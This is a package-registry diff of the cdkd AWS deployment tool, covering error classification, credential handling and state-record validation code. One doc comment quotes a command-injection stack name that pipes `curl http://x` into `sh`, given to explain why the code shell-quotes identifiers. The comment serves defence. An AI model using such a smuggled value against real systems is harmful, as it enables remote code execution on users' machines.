@go-to-k/cdkd 0.290.17 → 0.290.19
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/{asg-provider-BPBdAAGQ.js → asg-provider-ac412LEP.js} +3 -3
- package/dist/{asg-provider-BPBdAAGQ.js.map → asg-provider-ac412LEP.js.map} +1 -1
- package/dist/aws-client-defaults-BoIxyCir.js +574 -0
- package/dist/aws-client-defaults-BoIxyCir.js.map +1 -0
- package/dist/cli.js +2 -2
- package/dist/{deploy-engine-BYTwDxet.js → deploy-engine-D7mwWwGs.js} +1953 -150
- package/dist/deploy-engine-D7mwWwGs.js.map +1 -0
- package/dist/index.d.ts +4 -0
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +1 -1
- package/dist/{program-CbHndlOj.js → program-BOAEIjF5.js} +418 -577
- package/dist/{program-CbHndlOj.js.map → program-BOAEIjF5.js.map} +1 -1
- package/dist/{version-CT2xso6V.js → version-BOnyvRN8.js} +2 -2
- package/dist/{version-CT2xso6V.js.map → version-BOnyvRN8.js.map} +1 -1
- package/package.json +1 -1
- package/dist/aws-client-defaults-D-iYiIJ6.js +0 -218
- package/dist/aws-client-defaults-D-iYiIJ6.js.map +0 -1
- package/dist/deploy-engine-BYTwDxet.js.map +0 -1
|
@@ -1,6 +1,6 @@
|
|
|
1
|
-
import { C as displaySafe, S as displayIdent, d as applyDefaultNameForFallback, f as explicitNamePropertyFor, g as looksLikeCdkdGeneratedName, h as getCurrentStackName, m as generateResourceNameWithFallback, n as getLogger, p as generateResourceName, r as isStdoutReservedForPayload, s as getLiveRenderer, v as withStackName, x as UNRENDERABLE, y as withoutGeneratedFallbackName } from "./logger-C17H06QA.js";
|
|
2
|
-
import {
|
|
3
|
-
import { t as getCdkdVersion } from "./version-
|
|
1
|
+
import { C as displaySafe, S as displayIdent, d as applyDefaultNameForFallback, f as explicitNamePropertyFor, g as looksLikeCdkdGeneratedName, h as getCurrentStackName, m as generateResourceNameWithFallback, n as getLogger, p as generateResourceName, r as isStdoutReservedForPayload, s as getLiveRenderer, v as withStackName, w as truncateCodePoints, x as UNRENDERABLE, y as withoutGeneratedFallbackName } from "./logger-C17H06QA.js";
|
|
2
|
+
import { a as setAssumedRoleCredentials, i as getPreAssumeEnvCredentials, n as awsClientDefaults, o as setPreAssumeEnvCredentials, r as getAssumedRoleCredentials, t as SECOND_ROLE_PUBLISH_REFUSAL } from "./aws-client-defaults-BoIxyCir.js";
|
|
3
|
+
import { t as getCdkdVersion } from "./version-BOnyvRN8.js";
|
|
4
4
|
import { AsyncLocalStorage } from "node:async_hooks";
|
|
5
5
|
import { createHash, randomUUID } from "node:crypto";
|
|
6
6
|
import { CreateBucketCommand, DeleteObjectCommand, DeleteObjectsCommand, GetBucketLocationCommand, GetBucketReplicationCommand, GetObjectCommand, HeadBucketCommand, HeadObjectCommand, ListObjectVersionsCommand, ListObjectsV2Command, NoSuchKey, PutBucketEncryptionCommand, PutBucketPolicyCommand, PutObjectCommand, PutPublicAccessBlockCommand, S3Client, S3ServiceException } from "@aws-sdk/client-s3";
|
|
@@ -306,7 +306,7 @@ const NON_RETRYABLE_MARKER = Symbol.for("cdkd.nonRetryable");
|
|
|
306
306
|
* the one the code already cites -- a nested-stack failure grows one
|
|
307
307
|
* `ProvisioningError` per level.
|
|
308
308
|
*/
|
|
309
|
-
const MAX_CAUSE_CHAIN_DEPTH = 5;
|
|
309
|
+
const MAX_CAUSE_CHAIN_DEPTH$1 = 5;
|
|
310
310
|
/**
|
|
311
311
|
* Stamped on an error whose own message deliberately WITHHOLDS text its
|
|
312
312
|
* `cause` carries (issue [#2302](https://github.com/go-to-k/cdkd/issues/2302)).
|
|
@@ -363,7 +363,7 @@ function markRedactedCause(error) {
|
|
|
363
363
|
*/
|
|
364
364
|
function hasRedactedCause(error) {
|
|
365
365
|
let current = error;
|
|
366
|
-
for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null; depth++) {
|
|
366
|
+
for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH$1 && current != null; depth++) {
|
|
367
367
|
if (typeof current === "object" || typeof current === "function") {
|
|
368
368
|
if (current[REDACTED_CAUSE_MARKER] === true) return true;
|
|
369
369
|
}
|
|
@@ -438,7 +438,7 @@ function markNonRetryable(error) {
|
|
|
438
438
|
*/
|
|
439
439
|
function isMarkedNonRetryable(error) {
|
|
440
440
|
let current = error;
|
|
441
|
-
for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null; depth++) {
|
|
441
|
+
for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH$1 && current != null; depth++) {
|
|
442
442
|
if (typeof current === "object" || typeof current === "function") {
|
|
443
443
|
if (current[NON_RETRYABLE_MARKER] === true) return true;
|
|
444
444
|
}
|
|
@@ -462,7 +462,7 @@ function isMarkedNonRetryable(error) {
|
|
|
462
462
|
*/
|
|
463
463
|
function isThrottlingError(error) {
|
|
464
464
|
let current = error;
|
|
465
|
-
for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null; depth++) {
|
|
465
|
+
for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH$1 && current != null; depth++) {
|
|
466
466
|
const name = current.name;
|
|
467
467
|
if (typeof name === "string" && THROTTLING_ERROR_NAMES.has(name)) return true;
|
|
468
468
|
const status = current.$metadata?.httpStatusCode;
|
|
@@ -564,7 +564,7 @@ const TRANSIENT_SERVER_ERROR_STATUS_CODES = /* @__PURE__ */ new Set([
|
|
|
564
564
|
*/
|
|
565
565
|
function isTransientServerError(error) {
|
|
566
566
|
let current = error;
|
|
567
|
-
for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null; depth++) {
|
|
567
|
+
for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH$1 && current != null; depth++) {
|
|
568
568
|
const status = current.$metadata?.httpStatusCode;
|
|
569
569
|
if (status !== void 0 && TRANSIENT_SERVER_ERROR_STATUS_CODES.has(status)) return true;
|
|
570
570
|
current = current.cause;
|
|
@@ -615,7 +615,7 @@ function describeRetryClassificationSignals(error) {
|
|
|
615
615
|
let sawMetadata = false;
|
|
616
616
|
let metadataName;
|
|
617
617
|
let metadataRequestId;
|
|
618
|
-
for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null; depth++) {
|
|
618
|
+
for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH$1 && current != null; depth++) {
|
|
619
619
|
const name = current.name;
|
|
620
620
|
if (depth > 0 && typeof name === "string" && name !== "") deepestName = name;
|
|
621
621
|
const metadata = current.$metadata;
|
|
@@ -727,7 +727,7 @@ function retryClassificationText(error) {
|
|
|
727
727
|
const parts = [];
|
|
728
728
|
const seen = /* @__PURE__ */ new Set();
|
|
729
729
|
let current = error;
|
|
730
|
-
for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null && !seen.has(current); depth++) {
|
|
730
|
+
for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH$1 && current != null && !seen.has(current); depth++) {
|
|
731
731
|
seen.add(current);
|
|
732
732
|
if (current instanceof Error) {
|
|
733
733
|
if (current.message) parts.push(current.message);
|
|
@@ -884,7 +884,7 @@ function stringifyForMatch(value) {
|
|
|
884
884
|
function isNameCollisionErrorFrom(error, logicalId) {
|
|
885
885
|
if (typeof error === "string") return isNameCollisionError(error);
|
|
886
886
|
let current = error;
|
|
887
|
-
for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null; depth++) {
|
|
887
|
+
for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH$1 && current != null; depth++) {
|
|
888
888
|
const link = current;
|
|
889
889
|
if (typeof link.logicalId === "string" && link.logicalId !== logicalId) return false;
|
|
890
890
|
if (typeof link.name === "string" && NAME_COLLISION_ERROR_NAMES.has(link.name)) return true;
|
|
@@ -1030,7 +1030,7 @@ const CC_UPDATE_UNSUPPORTED_MESSAGE_FALLBACK = "does not support UPDATE";
|
|
|
1030
1030
|
*/
|
|
1031
1031
|
function isUpdateUnsupportedError(error, logicalId) {
|
|
1032
1032
|
let current = error;
|
|
1033
|
-
for (let depth = 0; current !== null && current !== void 0 && depth < MAX_CAUSE_CHAIN_DEPTH; depth++) {
|
|
1033
|
+
for (let depth = 0; current !== null && current !== void 0 && depth < MAX_CAUSE_CHAIN_DEPTH$1; depth++) {
|
|
1034
1034
|
const link = current;
|
|
1035
1035
|
if (typeof link.logicalId === "string" && link.logicalId !== logicalId) return false;
|
|
1036
1036
|
if (link.name === "UnsupportedActionException") return true;
|
|
@@ -1339,6 +1339,45 @@ var CrossAccountSecretRefusalError = class CrossAccountSecretRefusalError extend
|
|
|
1339
1339
|
}
|
|
1340
1340
|
};
|
|
1341
1341
|
/**
|
|
1342
|
+
* An `Fn::GetStackOutput` whose PRODUCER's state record has no readable
|
|
1343
|
+
* `outputs` map (issue [#3207](https://github.com/go-to-k/cdkd/issues/3207)).
|
|
1344
|
+
*
|
|
1345
|
+
* A SUBCLASS for the same reason {@link CrossAccountSecretRefusalError} is
|
|
1346
|
+
* one, and with the same two independent properties.
|
|
1347
|
+
* `instanceof IntrinsicResolutionRefusalError` stays true, so `resolveSub`'s
|
|
1348
|
+
* catch re-raises it rather than laundering the reference into a literal
|
|
1349
|
+
* `${...}` shipped to AWS; and the one consumer that must treat it
|
|
1350
|
+
* DIFFERENTLY from its user-fixable siblings matches on THIS class.
|
|
1351
|
+
*
|
|
1352
|
+
* That consumer is `cdkd scrub`'s cross-stack pre-pass, and the distinction it
|
|
1353
|
+
* needs is neither of the two the base class already carries. A sibling
|
|
1354
|
+
* refusal makes scrub REFUSE the stack, on the sound argument that the user
|
|
1355
|
+
* can fix the cause and re-run. Here the cause is ANOTHER STACK's record,
|
|
1356
|
+
* which the user may not own — so refusing would strand THIS stack's own
|
|
1357
|
+
* plaintext in `state.json` over a file they cannot repair. Issue
|
|
1358
|
+
* [#3192](https://github.com/go-to-k/cdkd/issues/3192) settled that trade one
|
|
1359
|
+
* layer down, for the classifier this refusal now runs ahead of
|
|
1360
|
+
* (`docs/design/3192-outputs-consumers.md` §6), and the same answer has to
|
|
1361
|
+
* hold here or closing the resolver would silently reverse it: scrub records
|
|
1362
|
+
* an unverifiable FINDING, scrubs the rest of the stack, does not report it
|
|
1363
|
+
* clean, and exits 2.
|
|
1364
|
+
*
|
|
1365
|
+
* It is NOT `CrossAccountSecretRefusalError`, whose subclass identity means
|
|
1366
|
+
* PERMANENT — "no re-run can change this". A damaged record IS repairable;
|
|
1367
|
+
* what it is not is repairable by everyone who meets it.
|
|
1368
|
+
*
|
|
1369
|
+
* `code` is distinct for the reason the sibling's note gives: a consumer
|
|
1370
|
+
* keying on `INTRINSIC_RESOLUTION_REFUSAL` would capture every sibling, and
|
|
1371
|
+
* one keying on message text breaks the moment the wording improves.
|
|
1372
|
+
*/
|
|
1373
|
+
var MalformedProducerRecordRefusalError = class MalformedProducerRecordRefusalError extends IntrinsicResolutionRefusalError {
|
|
1374
|
+
constructor(message, cause) {
|
|
1375
|
+
super(message, cause, "INTRINSIC_RESOLUTION_REFUSAL_MALFORMED_PRODUCER_RECORD");
|
|
1376
|
+
this.name = "MalformedProducerRecordRefusalError";
|
|
1377
|
+
Object.setPrototypeOf(this, MalformedProducerRecordRefusalError.prototype);
|
|
1378
|
+
}
|
|
1379
|
+
};
|
|
1380
|
+
/**
|
|
1342
1381
|
* A `{{resolve:...}}` reference whose REGION cannot be established (issue
|
|
1343
1382
|
* [#2134](https://github.com/go-to-k/cdkd/issues/2134)): it names no region,
|
|
1344
1383
|
* and the stack it sits in is on record as reading across a region boundary.
|
|
@@ -1879,8 +1918,11 @@ var AwsClients = class AwsClients {
|
|
|
1879
1918
|
* falls back to the default chain. The same is true of any library caller
|
|
1880
1919
|
* that constructs `AwsClients` directly and therefore never runs the CLI's
|
|
1881
1920
|
* `preAction` hook. `--role-arn` needs nothing carried at all —
|
|
1882
|
-
* `applyRoleArnIfSet`
|
|
1883
|
-
* `
|
|
1921
|
+
* `applyRoleArnIfSet` publishes the assumed credentials through
|
|
1922
|
+
* `setAssumedRoleCredentials`, so {@link clientOptions}'s
|
|
1923
|
+
* `awsClientDefaults(...)` spread hands them to every client this instance
|
|
1924
|
+
* builds, and a `profile` beside them selects non-credential settings only
|
|
1925
|
+
* (issue [#3130](https://github.com/go-to-k/cdkd/issues/3130)).
|
|
1884
1926
|
*
|
|
1885
1927
|
* The `credentials` object is CLONED rather than aliased: the returned bag is
|
|
1886
1928
|
* handed to every derived sibling, and sharing one mutable object would let a
|
|
@@ -7777,24 +7819,125 @@ var DockerAssetPublisher = class {
|
|
|
7777
7819
|
|
|
7778
7820
|
//#endregion
|
|
7779
7821
|
//#region src/utils/aws-failure-text.ts
|
|
7780
|
-
/**
|
|
7822
|
+
/**
|
|
7823
|
+
* Appended to a redacted summary so the withheld half is still reachable.
|
|
7824
|
+
*
|
|
7825
|
+
* EXPORTED for the TESTS, and that is now its only reason. It was exported
|
|
7826
|
+
* because `cloud-control-provider.ts`'s `abandonWait` reduced on its own wider
|
|
7827
|
+
* predicate and had to compose this sentence by hand; issue
|
|
7828
|
+
* [#3297](https://github.com/go-to-k/cdkd/issues/3297) removed that predicate
|
|
7829
|
+
* and the hand-copy with it, so no `src/` file spells this literal twice. The
|
|
7830
|
+
* remaining importer is `cloud-control-wait-abandoned.test.ts`, which asserts
|
|
7831
|
+
* the ABSENCE of the pointer and would silently stop discriminating if it
|
|
7832
|
+
* hard-coded the words instead.
|
|
7833
|
+
*/
|
|
7781
7834
|
const VERBOSE_POINTER = "Re-run with --verbose for AWS's own message.";
|
|
7782
7835
|
/**
|
|
7783
|
-
*
|
|
7836
|
+
* The summary {@link describeAwsFailure} builds for an `Error` it is reducing.
|
|
7784
7837
|
*
|
|
7785
|
-
*
|
|
7786
|
-
*
|
|
7787
|
-
*
|
|
7788
|
-
*
|
|
7789
|
-
* so
|
|
7838
|
+
* UN-exported by issue [#3297](https://github.com/go-to-k/cdkd/issues/3297).
|
|
7839
|
+
* It was exported for one caller — `cloud-control-provider.ts`, whose own
|
|
7840
|
+
* authorship predicate was WIDER than this module's, so the helper handed it
|
|
7841
|
+
* raw text for a shape it wanted reduced and it had to build this string
|
|
7842
|
+
* itself. That predicate is gone and so is the divergence, leaving the export
|
|
7843
|
+
* with no callers and a doc citing one that no longer exists. Keep it private:
|
|
7844
|
+
* a re-export is the signal that a second predicate has appeared.
|
|
7845
|
+
*/
|
|
7846
|
+
function redactedAwsFailureSummary(error) {
|
|
7847
|
+
return `${error.name || "Error"}. ${VERBOSE_POINTER}`;
|
|
7848
|
+
}
|
|
7849
|
+
/**
|
|
7850
|
+
* Whether AWS wrote this failure's message.
|
|
7790
7851
|
*
|
|
7791
|
-
*
|
|
7792
|
-
*
|
|
7852
|
+
* Keyed on a real SERVICE signal: `$fault`, which every modeled
|
|
7853
|
+
* `@smithy/smithy-client` `ServiceException` carries, or a NUMERIC
|
|
7854
|
+
* `$metadata.httpStatusCode`, which only a deserialized RESPONSE has. Nothing
|
|
7855
|
+
* under `src/` sets either, so a match cannot be a cdkd-authored error.
|
|
7856
|
+
*
|
|
7857
|
+
* **`$metadata` PRESENCE is deliberately NOT the signal, and an earlier
|
|
7858
|
+
* revision of this function used it** (issue
|
|
7859
|
+
* [#3297](https://github.com/go-to-k/cdkd/issues/3297)). `@smithy/core`'s retry
|
|
7860
|
+
* middleware stamps `$metadata = {attempts, totalRetryDelay}` onto EVERY error
|
|
7861
|
+
* it gives up on — socket errors included — and creates the object when it is
|
|
7862
|
+
* absent. Measured against a real `CloudControlClient` pointed at a closed
|
|
7863
|
+
* port:
|
|
7864
|
+
*
|
|
7865
|
+
* name 'Error', code 'ECONNREFUSED', $fault undefined,
|
|
7866
|
+
* message 'connect ECONNREFUSED 127.0.0.1:1',
|
|
7867
|
+
* $metadata { attempts: 3, totalRetryDelay: 58 }
|
|
7868
|
+
*
|
|
7869
|
+
* So the old predicate classified a plain transport failure as AWS-authored and
|
|
7870
|
+
* reduced it to its `name` — which for a socket error is the bare token
|
|
7871
|
+
* `Error`, carrying no diagnosis at all. That deleted `connect ECONNREFUSED
|
|
7872
|
+
* <ip>:443`, the exact wording issue
|
|
7873
|
+
* [#3236](https://github.com/go-to-k/cdkd/issues/3236) was REPORTED with, from
|
|
7874
|
+
* the only durable record of the outage.
|
|
7875
|
+
*
|
|
7876
|
+
* The `CredentialsProviderError` name is the third arm because credential
|
|
7877
|
+
* resolution carries NEITHER signal — identity is resolved by
|
|
7878
|
+
* `httpAuthSchemeMiddleware` at step `serialize`, which WRAPS retry's
|
|
7879
|
+
* `finalizeRequest`, so an escaping credential error never enters retry's catch
|
|
7880
|
+
* (measured, and the mechanism is why: retry CREATES `$metadata` when absent,
|
|
7881
|
+
* so an error arriving without one proves it bypassed retry). It is also the
|
|
7882
|
+
* shape whose message carries the most: `@aws-sdk/credential-provider-process`
|
|
7883
|
+
* wraps EVERY exec failure in it, so the text interpolates the helper's ARGV
|
|
7884
|
+
* and its stderr.
|
|
7885
|
+
*
|
|
7886
|
+
* **Its siblings are deliberately NOT matched, and the reasons differ per class
|
|
7887
|
+
* rather than being one rule.** `@smithy/property-provider` exports a family of
|
|
7888
|
+
* three — `ProviderError`, and its subclasses `CredentialsProviderError` and
|
|
7889
|
+
* `TokenProviderError` — plus `@smithy/credential-provider-imds`'s
|
|
7890
|
+
* `InstanceMetadataV1FallbackError`, the only subclass OF
|
|
7891
|
+
* `CredentialsProviderError` in the installed tree. (All four set `name`; an
|
|
7892
|
+
* earlier revision read "the only subclass that overrides `name`", which is
|
|
7893
|
+
* false of the three siblings.) Each was read rather than reasoned about,
|
|
7894
|
+
* because the answers go BOTH ways:
|
|
7895
|
+
*
|
|
7896
|
+
* - `TokenProviderError` must NOT be reduced. Its message IS the remedy —
|
|
7897
|
+
* `Token is expired. To refresh this SSO session run 'aws sso login' with
|
|
7898
|
+
* the corresponding profile.` — so reducing it to a wire name would delete
|
|
7899
|
+
* the fix instruction. A revision matching the whole `*ProviderError` suffix
|
|
7900
|
+
* did exactly that. The benefit is not realized on the Cloud Control poll
|
|
7901
|
+
* path today, and claiming otherwise was measured false:
|
|
7902
|
+
* `@aws-sdk/credential-provider-sso` catches every token failure and
|
|
7903
|
+
* rethrows it as a `CredentialsProviderError`, so the shape cannot escape a
|
|
7904
|
+
* SigV4 client there. The carve-out is a rule about the FAMILY, kept because
|
|
7905
|
+
* the rewrap is upstream behaviour that can change.
|
|
7906
|
+
* - `ProviderError` (the base) and `InstanceMetadataV1FallbackError` carry
|
|
7907
|
+
* connectivity and CONFIG wording respectively — the IMDS one interpolates
|
|
7908
|
+
* three fixed literals naming config keys, with no argv, stderr, profile
|
|
7909
|
+
* value or identity in it. Both are more useful raw.
|
|
7910
|
+
*
|
|
7911
|
+
* So string EQUALITY is right here, and right by enumeration rather than by
|
|
7912
|
+
* assumption. Re-check the list when the SDK major moves; do not widen it to a
|
|
7913
|
+
* suffix. The specific mechanism to re-check is `ProviderError.from()`, which
|
|
7914
|
+
* does `Object.assign(new this(...), error)` — that copies a SOURCE error's own
|
|
7915
|
+
* `name` over the class field and would defeat string equality outright. It has
|
|
7916
|
+
* ZERO call sites anywhere in `node_modules` today, which is the only reason
|
|
7917
|
+
* equality is safe rather than merely correct-looking.
|
|
7918
|
+
*
|
|
7919
|
+
* `$response` is gone with the `$metadata` disjunct, and the reason is NOT the
|
|
7920
|
+
* obvious one -- an earlier revision of this comment said it "is only ever set
|
|
7921
|
+
* on a `ServiceException`, which carries `$fault` anyway", and review measured
|
|
7922
|
+
* that false. `@smithy/core`'s `deserializerMiddleware` stamps `$response` on
|
|
7923
|
+
* ANY error escaping the deserializer, and the very next line reads
|
|
7924
|
+
* `if (!("$metadata" in error))`, i.e. the library explicitly handles the
|
|
7925
|
+
* `$response`-without-`$metadata` shape (a `JSON.parse` `SyntaxError` out of
|
|
7926
|
+
* `parseJsonBody`). What actually preserves the verdict is the SIBLING line in
|
|
7927
|
+
* that same catch: `error.$metadata = { httpStatusCode: response.statusCode,
|
|
7928
|
+
* ... }`, so the `httpStatusCode` disjunct subsumes `$response` for every
|
|
7929
|
+
* response the middleware can read. The residual is a `response` failing
|
|
7930
|
+
* `HttpResponse.isInstance`, or a throw inside that block's own
|
|
7931
|
+
* `catch (ignored)` -- shapes with no HTTP status at all, which are not service
|
|
7932
|
+
* rejections and should not be reduced.
|
|
7933
|
+
*
|
|
7934
|
+
* A transport-level failure (a socket timeout, a DNS error) reaches a caller
|
|
7935
|
+
* with neither signal, and that is the correct answer rather than a gap: those
|
|
7793
7936
|
* messages are written by the HTTP layer and name a host, never a caller.
|
|
7794
7937
|
*/
|
|
7795
7938
|
function isAwsAuthoredFailure(error) {
|
|
7796
7939
|
const candidate = error;
|
|
7797
|
-
return candidate.$
|
|
7940
|
+
return candidate.$fault !== void 0 || typeof candidate.$metadata?.httpStatusCode === "number" || error.name === "CredentialsProviderError";
|
|
7798
7941
|
}
|
|
7799
7942
|
/**
|
|
7800
7943
|
* Describe a caught failure for a thrown message. See {@link AwsFailureText}.
|
|
@@ -7807,14 +7950,20 @@ function describeAwsFailure(error) {
|
|
|
7807
7950
|
redacted: false
|
|
7808
7951
|
};
|
|
7809
7952
|
return {
|
|
7810
|
-
summary:
|
|
7953
|
+
summary: redactedAwsFailureSummary(error),
|
|
7811
7954
|
detail: error.message,
|
|
7812
7955
|
redacted: true
|
|
7813
7956
|
};
|
|
7814
7957
|
}
|
|
7958
|
+
let detail;
|
|
7959
|
+
try {
|
|
7960
|
+
detail = String(error);
|
|
7961
|
+
} catch {
|
|
7962
|
+
detail = "a value that could not be converted to text";
|
|
7963
|
+
}
|
|
7815
7964
|
return {
|
|
7816
7965
|
summary: `a non-Error value of type ${typeof error}. ${VERBOSE_POINTER}`,
|
|
7817
|
-
detail
|
|
7966
|
+
detail,
|
|
7818
7967
|
redacted: true
|
|
7819
7968
|
};
|
|
7820
7969
|
}
|
|
@@ -20378,6 +20527,833 @@ function findUnrecognizedProperties(resourceType, templateProperties) {
|
|
|
20378
20527
|
return unrecognized.sort((a, b) => a.localeCompare(b));
|
|
20379
20528
|
}
|
|
20380
20529
|
|
|
20530
|
+
//#endregion
|
|
20531
|
+
//#region src/state/malformed-resources-bag.ts
|
|
20532
|
+
/** The error code every malformed-record refusal carries, whatever its class. */
|
|
20533
|
+
const STATE_RESOURCES_MALFORMED = "STATE_RESOURCES_MALFORMED";
|
|
20534
|
+
/**
|
|
20535
|
+
* Answer the ONE question both helpers below key on: can this record's
|
|
20536
|
+
* resource map be read at all?
|
|
20537
|
+
*
|
|
20538
|
+
* Widened past `null` / `undefined` because the message says "no readable
|
|
20539
|
+
* resources map" and a hand-edited record does not stop at those two: a
|
|
20540
|
+
* `[]`, a `5` or a `"ab"` all survive `Object.entries` and yield a bag that is
|
|
20541
|
+
* empty or, for the string, absurd — repaired silently and warned about
|
|
20542
|
+
* nowhere. The predicate is the plain-object test the bag's own type implies.
|
|
20543
|
+
*/
|
|
20544
|
+
function hasReadableResources(state) {
|
|
20545
|
+
return isReadableBag(state.resources);
|
|
20546
|
+
}
|
|
20547
|
+
/**
|
|
20548
|
+
* The same question for the `outputs` bag — and it is a SEPARATE predicate
|
|
20549
|
+
* rather than a second argument to the one above because the ABSENCE rule
|
|
20550
|
+
* differs, which is the split {@link isReadableBag}'s own note calls a
|
|
20551
|
+
* per-container call.
|
|
20552
|
+
*
|
|
20553
|
+
* An absent `outputs` bag is an ordinary record, not a defect: `cdkd scrub`
|
|
20554
|
+
* round-trips one deliberately rather than materializing `{}` over it, and the
|
|
20555
|
+
* deploy's failure-path saves write `outputs: currentState.outputs`, which
|
|
20556
|
+
* `JSON.stringify` drops when it is `undefined`. So `undefined` is EXEMPT here
|
|
20557
|
+
* while it is a defect for `resources`. `null` is NOT exempt — it is a value a
|
|
20558
|
+
* hand-edited record carries and every consumer either throws on it or
|
|
20559
|
+
* launders it into `{}`.
|
|
20560
|
+
*
|
|
20561
|
+
* Both {@link repairMalformedOutputsForReadOnly} and
|
|
20562
|
+
* {@link refuseMalformedOutputs} delegate to this, so the read-only and the
|
|
20563
|
+
* write-capable halves cannot come to different verdicts about the same record.
|
|
20564
|
+
*/
|
|
20565
|
+
function hasReadableOutputs(state) {
|
|
20566
|
+
return state.outputs === void 0 || isReadableBag(state.outputs);
|
|
20567
|
+
}
|
|
20568
|
+
/**
|
|
20569
|
+
* The shared explanation, in the terms the reader needs: what is wrong, what
|
|
20570
|
+
* to look at, and what NOT to do next.
|
|
20571
|
+
*
|
|
20572
|
+
* Both identifiers are SANITIZED and THEN SHELL-QUOTED, and the command is
|
|
20573
|
+
* emitted LAST and UNWRAPPED — the shape `lock-contention-message.ts` and
|
|
20574
|
+
* `.claude/rules/layout-state-types.md` require of any suggestion a user is
|
|
20575
|
+
* meant to paste, for two separate reasons.
|
|
20576
|
+
*
|
|
20577
|
+
* Sanitizing alone is not enough. `displaySafe(..., { asciiOnly: true })` is a
|
|
20578
|
+
* printable-ASCII allowlist, so it removes the line- and escape-forgery class
|
|
20579
|
+
* but KEEPS `'`, `;`, `|`, `` ` ``, `$` and spaces — and neither name is
|
|
20580
|
+
* trusted here, since a stack name reaches the cross-stack read path from an
|
|
20581
|
+
* `Fn::GetStackOutput` argument or an S3 key. A name spelled
|
|
20582
|
+
* `a'; curl http://x|sh; echo '` would close the quoting and append its own
|
|
20583
|
+
* command to the line this text tells the user to RUN.
|
|
20584
|
+
*
|
|
20585
|
+
* Wrapping the command in `'...'` is not enough either, and is what makes the
|
|
20586
|
+
* two compose badly: `shellQuote` does its own quoting, so an outer wrapper
|
|
20587
|
+
* produces something unpastable. Hence unwrapped and last.
|
|
20588
|
+
*
|
|
20589
|
+
* An identifier that sanitizes to EMPTY becomes `UNRENDERABLE` rather than
|
|
20590
|
+
* nothing — an empty argument makes `--stack-region` swallow the next flag,
|
|
20591
|
+
* turning a remedy into a differently-broken command.
|
|
20592
|
+
*
|
|
20593
|
+
* MODULE-PRIVATE, and it stayed that way after go-to-k/cdkd#3206's review
|
|
20594
|
+
* considered exporting it. `cdkd scrub`'s audited-record refusal needed the
|
|
20595
|
+
* same three properties (sanitize, cap, `UNRENDERABLE` on empty) plus a
|
|
20596
|
+
* BOUNDARY, because its names go into a comma-joined list where a name
|
|
20597
|
+
* containing the delimiter forges an entry. `displayIdent` has all four —
|
|
20598
|
+
* JSON-quoting escapes the delimiter it adds — so that caller uses it and this
|
|
20599
|
+
* stays private. The pair here is not duplicated: what differs is the
|
|
20600
|
+
* `shellQuote` composition every message in THIS module needs and that one
|
|
20601
|
+
* must not have.
|
|
20602
|
+
*/
|
|
20603
|
+
function safeIdentifier(value) {
|
|
20604
|
+
const safe = displaySafe(value, { asciiOnly: true });
|
|
20605
|
+
if (!safe) return UNRENDERABLE;
|
|
20606
|
+
const { text, truncated } = truncateCodePoints(safe, 128);
|
|
20607
|
+
return truncated ? `${text}...` : text;
|
|
20608
|
+
}
|
|
20609
|
+
function malformedStateDetail(stackName, region) {
|
|
20610
|
+
const stack = safeIdentifier(stackName);
|
|
20611
|
+
const reg = safeIdentifier(region);
|
|
20612
|
+
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'resources' map — the record is malformed or truncated. Do NOT run 'cdkd deploy' or 'cdkd destroy' against it: both read the same map, and an unreadable one is indistinguishable from an empty stack, so deploy would re-CREATE every resource and destroy would delete none of them. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
20613
|
+
}
|
|
20614
|
+
/**
|
|
20615
|
+
* For a READ-ONLY command: give the record an empty resource bag so the
|
|
20616
|
+
* command can report on it, and say so (issue go-to-k/cdkd#3018).
|
|
20617
|
+
*
|
|
20618
|
+
* `parseStateBody` deliberately does not validate the inner shape, so a
|
|
20619
|
+
* hand-edited or truncated record reaches a command with `resources` absent,
|
|
20620
|
+
* `null`, or some other non-object. Every such command then died on a raw
|
|
20621
|
+
* `TypeError` from the first `Object.keys` / `in` / index read — the exact
|
|
20622
|
+
* wording differs per shape (`Cannot convert undefined or null to object`,
|
|
20623
|
+
* `Cannot use 'in' operator`, `Cannot read properties of null`), and none of
|
|
20624
|
+
* them names a stack, a key or a remedy, from exactly the commands a user
|
|
20625
|
+
* reaches for WHEN the state is broken.
|
|
20626
|
+
*
|
|
20627
|
+
* WHY AT THE LOAD AND NOT AT EACH LOOP. The first cut of #3018 put `?? {}` on
|
|
20628
|
+
* the twelve `Object.entries(state.resources)` loops, which was inert: every
|
|
20629
|
+
* one of those flows dereferences the bag EARLIER — `!(id in state.resources)`,
|
|
20630
|
+
* `hasOwnProperty.call(...)`, `state.resources[logicalId]` — so the abort still
|
|
20631
|
+
* happened one line up and the guards only made it look handled. One call per
|
|
20632
|
+
* load dominates the whole flow behind it, including the helpers that take the
|
|
20633
|
+
* state as a parameter (`orphan-rewriter`, `diff-calculator`,
|
|
20634
|
+
* `collectCcApiRoutes`).
|
|
20635
|
+
*
|
|
20636
|
+
* Mutates in place and returns whether it repaired anything; the caller warns
|
|
20637
|
+
* on `true`. A silent repair is its own defect — an empty resource set is
|
|
20638
|
+
* indistinguishable from a healthy empty stack in every later line of output,
|
|
20639
|
+
* so `No changes detected` over an unreadable record is a clean verdict about
|
|
20640
|
+
* nothing.
|
|
20641
|
+
*
|
|
20642
|
+
* **Only for a command that cannot WRITE state.** Anything that can persist
|
|
20643
|
+
* uses {@link refuseMalformedState} instead; see its note.
|
|
20644
|
+
*/
|
|
20645
|
+
